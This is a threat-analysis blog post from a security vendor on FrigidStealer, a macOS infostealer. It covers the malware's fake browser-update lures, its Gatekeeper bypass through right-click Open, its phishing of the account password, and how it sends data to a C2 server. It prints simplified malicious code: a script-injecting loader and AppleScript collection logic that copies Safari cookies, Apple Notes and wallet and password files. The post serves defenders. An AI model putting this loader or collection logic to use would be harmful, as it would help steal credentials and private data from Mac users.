FrigidStealer Explained: macOS Infostealer and Gatekeeper Bypass

Q: What is FrigidStealer?

FrigidStealer is a macOS-only information stealer written in Go and compiled with the Wails framework. It first surfaced in January 2025 and is delivered as a .dmg disk image that masquerades as a Google Chrome or Safari update. Once run, it harvests credentials and sensitive files from the victim's home directory and exfiltrates the stolen data to attacker infrastructure.

Q: How is FrigidStealer distributed?

FrigidStealer spreads through fake browser update lures on compromised or injected websites. A malicious script tag on a legitimate site preconnects to a Traffic Distribution Service host, which decides whether the visitor fits the target profile. Qualifying victims are served a fake update page that delivers a .dmg themed to match their browser, filtered by geography and browser user agent.

Q: How does FrigidStealer bypass macOS security controls?

The malicious DMG presents a fake installer window with instructions to run the app by right-clicking its icon and choosing Open. This defeats Gatekeeper, since double-clicking an unsigned app would show a blocking warning. Right-clicking and choosing Open instead adds an Open button to the dialog, so the victim's own click runs the ad-hoc signed binary.

Q: What data does FrigidStealer steal?

FrigidStealer uses AppleScript and osascript to phish the account password through a fake permission dialog. It then collects Safari cookies, the Apple Notes database, and small documents under 50 KB matching extensions like .txt, .docx, .rtf, .doc, .wallet, .keys, .key, .env, .md, and .kdbx. Everything is staged in home directory folders before exfiltration to the C2 server.

Q: Which threat actors are behind FrigidStealer?

FrigidStealer is distributed by TA2727, with traffic sourced from the TA2726 Traffic Distribution Service. The chain relies on compromised websites carrying injected scripts that redirect qualifying victims to the fake update lure hosted on the actor's own servers.

Q: How can Picus help defend against FrigidStealer?

The Picus Platform lets organizations simulate FrigidStealer attacks to test the effectiveness of their security controls against real-life cyber attacks. The Picus Threat Library includes the FrigidStealer Infostealer Download Threat under the Network Infiltration attack module.

Umut Bayram | 3 MIN READ

| July 27, 2026

Key Takeaways

FrigidStealer is a Go-based macOS information stealer that first surfaced in January 2025 via fake browser update lures.
The malicious DMG coaches users to right-click and open the app, bypassing Gatekeeper protections against unsigned binaries.
AppleScript and osascript phish the account password through a fake System Preferences dialog claiming files need updating.
The stealer harvests Safari cookies, the Apple Notes database, and small password or wallet files before exfiltrating to C2.
The Picus Platform lets teams simulate FrigidStealer attacks and validate whether their security controls detect and block this infostealer.

FrigidStealer is a macOS information stealer, written in Go, that first surfaced in January 2025 and is delivered through fake browser update pages served from compromised websites.

The stealer is compiled with the Wails framework so that it renders a convincing "installer" window in the victim's browser; it abuses a right-click Gatekeeper bypass to run without a valid Developer ID, and it uses native AppleScript and osascript to phish the login password and vacuum up cookies, cryptocurrency and password files, and Apple Notes before shipping them to a command-and-control (C2) server.

This post breaks down what FrigidStealer is, which threat actors distribute it, and how the malware operates at each stage of its infection chain, from the compromised website to exfiltration. At the end, we will show how Picus helps you validate your security controls against this infostealer.

What Is FrigidStealer?

FrigidStealer is a macOS-only infostealer distributed via fake update-themed lures on compromised or injected websites.

It is delivered as a .dmg disk image that masquerades as a Google Chrome or Safari update. Inside the image sits an ad-hoc signed Mach-O executable. Once run, it harvests credentials and sensitive files from the victim's home directory. The stolen data is then sent back to the attacker infrastructure.

At its core, FrigidStealer does three things:

Impersonates a browser update: The DMG shows Chrome or Safari branding matched to the browser the victim was using, plus step-by-step instructions to run the bundled app.
Bypasses macOS trust controls: It coaches the user to right-click and select Open, sidestepping Gatekeeper's warning about an unsigned, untrusted binary.
Steals and exfiltrates data: It phishes the account password, then copies browser cookies, small documents matching password and wallet-related extensions, and the Apple Notes database, and uploads them to its C2.

The executable is written in Go and ad-hoc signed, meaning it carries a self-signed code signature rather than a valid Apple Developer ID. It is built with the Wails project, which renders web content in the user's browser and is used here to make the fake browser installer look legitimate [1].

FrigidStealer At a Glance

Attribute	Detail
Malware type	Information stealer
Target platform	macOS (Intel and Apple Silicon Mac hosts)
First observed	January 2025
Language and build	Go, compiled with the Wails framework, self-signed Mach-O
Delivery vector	Fake browser update lures on compromised websites, filtered by geography and browser
Package format	.dmg disk image containing a Mach-O app
Data targeted	Safari cookies, Apple Notes, and small .txt/.docx/.rtf/.doc/.wallet/.keys/.key/.env/.md/.kdbx files
Distributing actor	TA2727 (traffic sourced from the TA2726 TDS) [1]

How Does FrigidStealer Work?

FrigidStealer follows a browser-update social engineering chain made up of several distinct stages:

Stage 1: Compromised Websites and TDS Redirection

The chain starts on a legitimate but compromised website carrying a malicious script tag. The inject preconnects to a malicious Traffic Distribution Service (TDS) host and pulls a remote script that decides the victim's fate:

If the visitor fits the FrigidStealer profile, the TDS sends back a second script. This script loads the fake update lure from the actor's own servers. A live Unix timestamp is added to the end of the URL so the browser cannot serve a cached copy:

// Simplified illustration of the injected loader (not the verbatim sample).

// It creates a <script> element, points it at the actor's lure URL, and inserts it into the page.

var s = document.createElement('script');

s.async = true;

// Cache-busting: the current Unix time in seconds is appended as a query parameter, so the browser always fetches a fresh copy of the lure instead of a cached one.

s.src = 'https://<domain>/<lure_script>.js?t=' + Math.floor(Date.now() / 1000);

var first = document.getElementsByTagName('script')[0];

first.parentNode.insertBefore(s, first);

Stage 2: The Fake Browser Update Lure

Victims routed to the stealer land on a page that mimics an official browser update.

Which lure and which payload the victim sees is decided by their browser's user agent, so a Chrome user and a Safari user on the same compromised site receive DMGs themed to match.

For example, the Chrome variant reads "To continue you need to update your browser" with an Update button and copy claiming the site "uses the new chromium engine." The Safari variant leans on Apple styling, "Blazing fast. Incredibly private. Requires update to proceed."

Stage 3: The Malicious DMG and Gatekeeper Bypass

The download is a disk image. When mounted, the DMG presents a fake installer window branded for the victim's browser, along with explicit instructions to run the app by right-clicking its icon and choosing Open.

This step exists to defeat Gatekeeper. Double-clicking an unsigned app would show a warning and block it. Right-clicking and choosing Open instead brings up a dialog that still warns about the app but adds an Open button, so the victim's own click runs the malware [2]. It is a common Mac malware trick that turns a system prompt into part of the scam.

Stage 4: Data Collection and Exfiltration

Once running, FrigidStealer pivots to native macOS scripting. It uses AppleScript files driven by osascript to display a System Preferences-style dialog reading "Application needs your permission to update files. Please enter your password." Capturing the account password early both aids later access and keeps the update pretense alive.

It then runs a collection routine. The script fingerprints the macOS version to locate Safari cookies in the right place, grabs the Apple Notes database, and sweeps the Desktop for small documents whose extensions match password and cryptocurrency material:

# Simplified illustration of the collection logic

# 1) Read the macOS version and pick the matching Safari cookie folder.

set version to (do shell script "sw_vers -productVersion")

if version is 10.14 or 10.15 then

set cookieFolder to "~/Library/Safari/" # legacy path

else

set cookieFolder to "~/Library/Containers/com.apple.Safari/Data/Library/Cookies/" # sandboxed container

end if

copy "Cookies.binarycookies" from cookieFolder into stagingFolder

# 2) Copy the Apple Notes database.

copy "~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite" into stagingFolder

# 3) Sweep the Desktop (and Documents) for small secret, wallet, and document files.

set targetExtensions to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key", "env", "md", "kdbx"}

repeat for each file on the Desktop

if its extension is in targetExtensions and its size < 51200 then # 51200 bytes = 50 KB cap

copy the file into stagingFolder

end if

end repeat

It stages everything into working folders it creates under the user's home directory before upload. After that, it exfiltrates the data to the C2 server.

How Picus Simulates FrigidStealer Attacks?

We strongly suggest simulating FrigidStealer Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the FrigidStealer Attacks:

Threat ID	Threat Name	Attack Module
79108	FrigidStealer Infostealer Download Threat	Network Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

References

[1] “An Update on Fake Updates: Two New Actors, and New Mac Malware,” Proofpoint. Accessed: Jul. 14, 2026. [Online]. Available: https://www.proofpoint.com/us/blog/threat-insight/update-fake-updates-two-new-actors-and-new-mac-malware

[2] “Teaching users about bypassing Gatekeeper without turning it off? · Issue #51490 · Homebrew/homebrew-cask,” GitHub. Accessed: Jul. 14, 2026. [Online]. Available: https://github.com/Homebrew/homebrew-cask/issues/51490